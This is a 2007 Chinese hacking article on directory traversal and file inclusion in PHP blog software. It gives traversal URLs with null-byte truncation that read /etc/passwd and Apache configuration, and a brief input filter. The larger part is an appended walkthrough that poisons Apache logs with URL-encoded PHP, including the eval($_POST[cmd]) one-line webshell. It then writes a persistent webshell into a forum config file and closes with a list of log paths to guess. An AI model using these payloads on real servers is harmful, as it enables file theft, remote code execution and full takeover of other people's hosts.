入侵检测PHP程序中的目录遍历漏洞

来源:岁月联盟 编辑:zhuzhu 时间:2007-04-06
目录遍历漏洞在国内外有许多不同的叫法,比如也可以叫做信息泄露漏洞,非授权文件包含漏洞.名称虽然多,可他们却有一个共同的成因,就是在程序中没有过滤用户输入的../和./之类的目录跳转符,导致恶意用户可以通过提交目录跳转来遍历服务器上的任意文件,其危害可想而知.这类漏洞大家比较熟悉的可能就是在一些邮件列表程序以及网络硬盘程序中,其实这类漏洞还广泛存在与一些国外的blog程序中,这类漏洞大概分两种下面就来通过实例来说明这类漏洞是如何产生以及该如何防范.

首先,我们来看一个国外的blog,前几天从网上下了一个名为loudblog的blog程序,
在它的index.php页面中看到如下代码:
<?if (!isset($_get['page'])) { $loadme = "inc/backend_postings.php"; }

//build an include-path from the url-request
else {
$loadme = "inc/backend_" . $_get['page'] . ".php";
}

//yee-hah! finally we do show real content on our page!
include ($loadme);
?>

这段程序很简单却包含了一个可怕的漏洞,变量$page是我们get上去的,如果没有设置page参数,程序就自动包含inc/backend_postings.php这个文件,如果有page参数就把$page的值放到inc目录下以backend_前缀开头的文件形成一个新的文件.这里并没有对$page的值做任何的过滤,导致我们可以遍历所有文件了.
这里要注意的是,我们提交的$page的值会自动的加上php后缀,所以我们阅读php文件是不会有效果的.当然我们可以读一些配置文件也是很有用的.下面就来测试一下,我们在inc目录外建立一个 txt文件,内容为wh0 !s h4k_ban?我们提交如下url看看结果:
http://localhost/loudblog/loudblog/loudblog/index.php?page=/../../hello.txt%00这里要说的是由于变量会加上php后缀,所以我们要用%00来截断后缀这样才能正常显示文件内容,结果如图1
测试成功说明漏洞存在了,那我们接着读一些敏感文件吧,提交如下url:
http://localhost/loudblog/loudblog/loudblog/index.php?page=/../../../../../../conf/httpd.conf%00结果如图2
apache的配置文件也顺利读出来了,接下来就来看另外一种情况.
这类漏洞主要是存在与基于php+txt结构的程序中,漏洞代码也是来自于一个国外的blog,代码如下:
<?
$act = $_get['act'];
if ($act == '')
{
include("blog.txt");
}
else
{
include("act/$act.txt");
}
?>
<?
$blog_id = $_get['blogid'];
if ($blog_id == '')
{
include("blog.txt");
}
else
{
include("./blog_entries/$blog_id.txt");
}
?>
从上面的代码可以清晰的看出问题所在,第一段程序获得$_get[]提交的数据并赋值给$act,这里没有对act做任何的过滤,而在后面判断如果变量为空就把blog.txt包含进来,如果不为空就包含act目录下的$act.txt文件,不过只能读以.txt结尾的文件,读别的文件加上 txt后缀后会提示找不到文件,可以配合某些上传漏洞把文件包含进去,比如提交如下url:
index.php?act=blog&blogid=../../filename这样带到程序里就成了include("./filename.txt");包含近来的文件只要里面含有php代码就算后缀是txt文件也会被执行,原理给上面的一样,我就不截图了.
上面分别介绍了现在最主要的两种目录遍历漏洞,从表面上看基于txt的php程序如果有这类漏洞似乎利用更方便一些,其实两者的危害性都是等价的.其实避免这类漏洞也是很简单的事情,象$blog-id这类数字形的参数只需用intval()函数强制整形化就可以了,对于字符形的参数我们可以自己写一个过滤函数把危险字符过滤掉,类似代码如下:
function fuckchar($var){
  $var = str_replace("..","",$var);
  $var = str_replace(".","",$var);
  $var = str_replace("/","",$var);
  $var = str_replace("/","",$var);
$var = str_replace(" ","",$var);
 
}
大家可以自己测试一下这类漏洞,不管什么语言过滤的思路都是一样的,用google搜索: powered by loudblog可以找到一些这类程序,不过官方现在已经推出新版本了,更多的漏洞等待大家自己去发掘吧.
当php配置文件中的allow_url_open打开的话,我们可以在自己的web服务器上建立一个同名文件里面包含shell命令,然后提交我们自己建立的shell文件让被攻击的服务器远程包含,可以以web权限执行命令,这样就是所谓的远程执行命令漏洞了。

附上一篇我好朋友zizzy写的文章,主要讲的是这种漏洞的另类利用
《关于php包含apache日志的随想》
关于php包含apache日志的利用,其实也就是利用提交的网址里有php语句,然后再被apache服务器的日志记录,然后php再去包含执行,从而包含了去执行。当然,这种办法最大的弊端是apache日志肯定会过大,回应的时候当然会超时什么的,所以也是受条件限制的。全当一种研究算了。下面是我的测试过程,我觉得很有意思,你也看看。
比如说,在一个php存在包含漏洞就像这样,存在一句php包含漏洞的语句

<? include($zizzy); ?>   //包含变量$zizzy

你可以
http://xxx.com/z.php?zizzy=/etc/inetd.conf
http://xxx.com/z.php?zizzy=/proc/cpuinfo
http://xxx.com/z.php?zizzy=/etc/passwd

就可以利用包含语句来查看一些系统环境和密码档文件。

那么关于日志包含下面我们来看:
比如我们的apache的服务器配置文件位置在这里
/usr/local/apache/conf/httpd.conf
那么我们来包含一下httpd.conf,来看下路径信息什么的
http://xxx.com/z.php?zizzy=/usr/local/apache/conf/httpd.conf

读出apache的配置信息,这里列出部分信息。
<virtualhost 218.63.89.2>
user #3
group silver
serveradmin webmaster@xxx.com
documentroot /home/virtual/www.xxx.com
servername www.xxx.com
serveralias xxx.com
errorlog /home/virtual/www.xxx.com/logs/www-error_log
customlog /home/virtual/www.xxx.com/logs/www-access_log common
scriptalias /cgi-bin/ /home/virtual/www.xxx.com/cgi-bin/
alias /icons/ /home/virtual/www.xxx.com/icons
</virtualhost> 而我们提交http://xxx.com/z.php?zizzy=/home/virtual/www.xxx.com/logs/www-error_log
就可以读出apache的错误日志记录

[mon jan 22 14:01:16 2005] [error] [client 218.63.194.76] file does not
exist: /home/virtual/www.xxx.com/hack.php
[tus jan 22 19:36:54 2005] [error] [client 218.63.148.38] file does not
exist: /home/virtual/www.xxx.com/111111111.php
[wen jan 23 05:14:54 2005] [error] [client 218.63.235.129] file does not
exist: /home/virtual/www.xxx.com/22222.php3
[wen jan 23 16:25:04 2005] [error] [client 218.63.232.73] attempt to invoke
directory as script: /home/virtual/www.xxx.com/forum
[fir jan 26 19:43:45 2005] [error] [client 218.63.232.73] attempt to invoke
directory as script: /home/virtual/www.xxx.com/blog
[fir jan 26 19:43:46 2005] [error] [client 64.229.232.73] attempt to invoke
directory as script: /home/virtual/www.xxx.com/kkkkkkkk

而数据日志/home/virtual/www.xxx.com/logs/www-access_log也是一样的,一样可以读出来,只不过文件会很大,那也没意思测试下去了,那怎么利用呢。

比如我们提交要提交这句,<?phpinfo();?> //查看php的相关信息
在这里,我们只能提交url编码模式,因为我在测试中发现,<?的标记并不被记录,只有转换成url编码提交才会被完整记录。

在这里%3c%3fphpinfo%28%29%3b%3f%3e这句就是转换过了的<?phpinfo();?>,我们提交
http://www.xxx.com/%3c%3fphpinfo%28%29%3b%3f%3e

这样肯定会报出错找不到页面,而一出错就被记在错误日志里了
http://xxx.com/z.php?zizzy=/home/virtual/www.xxx.com/logs/www-error_log
这样这个日志文件就被包含成了phpinfo的信息,而回显也就成了一个显示php信息的页面。


如果可以的话(能够执行系统命令,也就是safe_mode开着的时候), 这样子也不错,
<?system("ls+-la+/home");?>   //执行命令列出home下的文件列表,记得转换为url格式哦。

/home/
total 9
-rw-r--r--   1 www.xxx.com   silver   55 jan 20 23:01 about.php
drwxrwxrwx   4 www.xxx.com   silver   4096 jan 21 06:07 abc
-rw-r--r--   1 www.xxx.com   silver   1438 dec 3 07:39 index.php
-rwxrwxrwx   1 www.xxx.com   silver   5709 jan 21 20:05 show.php  
-rw-r--r--   1 www.xxx.com   silver   5936 jan 18 01:37 admin.php
-rwxrwxrwx   1 www.xxx.com   silver   5183 jan 18 15:30 config.php3
-rw-rw-rw-   1 www.xxx.com   silver   102229 jan 21 23:18 info.txt
drwxr-xr-x   2 www.xxx.com   silver   4096 jan 8 16:03 backup
-rw-r--r--   1 www.xxx.com   silver   7024 dec 4 03:07 test.php

这样就列出了home下的文件
或者直接一句话木马<?eval($_post[cmd]);?>,
这样转换后就是%3c%3feval%28%24%5fpost%5bcmd%5d%29%3b%3f%3e 这样的格式。
我们提交
http://www.xxx.com/%3c%3feval%28%24%5fpost%5bcmd%5d%29%3b%3f%3e

再用lanker的一句话木马客户端一连就ok了。


因为上面那个很不实际,我在测试中发现日志动不动就是几十兆,那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用,也比上面那种慢的要死好很多。

比如还是这句一句话木马
<?eval($_post[cmd]);?>  

到这里你也许就想到了,这是个很不错的办法。接着看,如何写入就成了个问题,用这句,
fopen打开/home/virtual/www.xxx.com/forum/config.php这个文件,然后写入<?eval($_post[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是

<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_post[cmd]);?>");
fclose($fp);?>   //在config.php里写入一句木马语句
我们提交这句,再让apache记录到错误日志里,再包含就成功写入shell,记得一定要转换成url格式才成功。
转换为
%3c%3f%24fp%3dfopen%28%22%2fhome%2fvirtual%2fwww%2exxx%2ecom%2fforum%2f
config%2ephp%22%2c%22w%2b%22%29%3bfputs%28%24fp
%2c%22%3c%3feval%28%24%5fpost%5bcmd%5d%29%3b%3f%3e%22%29%3b
fclose%28%24fp%29%3b%3f%3e
我们提交
http://xxx.com/%3c%3f%24fp%3dfopen%28%22%2fhome%2fvirtual%2fwww
%2exxx%2ecom%2fforum%2fconfig%2ephp
%22%2c%22w%2b%22%29%3bfputs%28%24fp%2c%22%3c%3feval%28%24%5fpost%5b
cmd%5d%29%3b%3f%3e%22%29%3bfclose%28%24fp%29%3b%3f%3e

这样就错误日志里就记录下了这行写入webshell的代码。
我们再来包含日志,提交
http://xxx.com/z.php?zizzy=/home/virtual/www.xxx.com/logs/www-error_log

这样webshell就写入成功了,config.php里就写入一句木马语句
ok.
http://www.xxx.com/forum/config.php这个就成了我们的webshell
直接用lanker的客户端一连,主机就是你的了。

ps:上面讲的,前提是文件夹权限必须可写 ,一定要-rwxrwxrwx(777)才能继续,这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用

其他的日志路径,你可以去猜,也可以参照这里。
附:收集的一些日志路径
../../../../../../../../../../var/log/httpd/access_log
../../../../../../../../../../var/log/httpd/error_log
../apache/logs/error.log
../apache/logs/access.log
../../apache/logs/error.log
../../apache/logs/access.log
../../../apache/logs/error.log
../../../apache/logs/access.log
../../../../../../../../../../etc/httpd/logs/acces_log
../../../../../../../../../../etc/httpd/logs/acces.log
../../../../../../../../../../etc/httpd/logs/error_log
../../../../../../../../../../etc/httpd/logs/error.log
../../../../../../../../../../var/www/logs/access_log
../../../../../../../../../../var/www/logs/access.log
../../../../../../../../../../usr/local/apache/logs/access_log
../../../../../../../../../../usr/local/apache/logs/access.log
../../../../../../../../../../var/log/apache/access_log
../../../../../../../../../../var/log/apache/access.log
../../../../../../../../../../var/log/access_log
../../../../../../../../../../var/www/logs/error_log
../../../../../../../../../../var/www/logs/error.log
../../../../../../../../../../usr/local/apache/logs/error_log
../../../../../../../../../../usr/local/apache/logs/error.log
../../../../../../../../../../var/log/apache/error_log
../../../../../../../../../../var/log/apache/error.log
../../../../../../../../../../var/log/access_log
../../../../../../../../../../var/log/error_log
/var/log/httpd/access_log  
/var/log/httpd/error_log  
../apache/logs/error.log  
../apache/logs/access.log
../../apache/logs/error.log
../../apache/logs/access.log
../../../apache/logs/error.log
../../../apache/logs/access.log
/etc/httpd/logs/acces_log
/etc/httpd/logs/acces.log
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/access_log
/var/www/logs/error_log
/var/www/logs/error.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/access_log
/var/log/error_log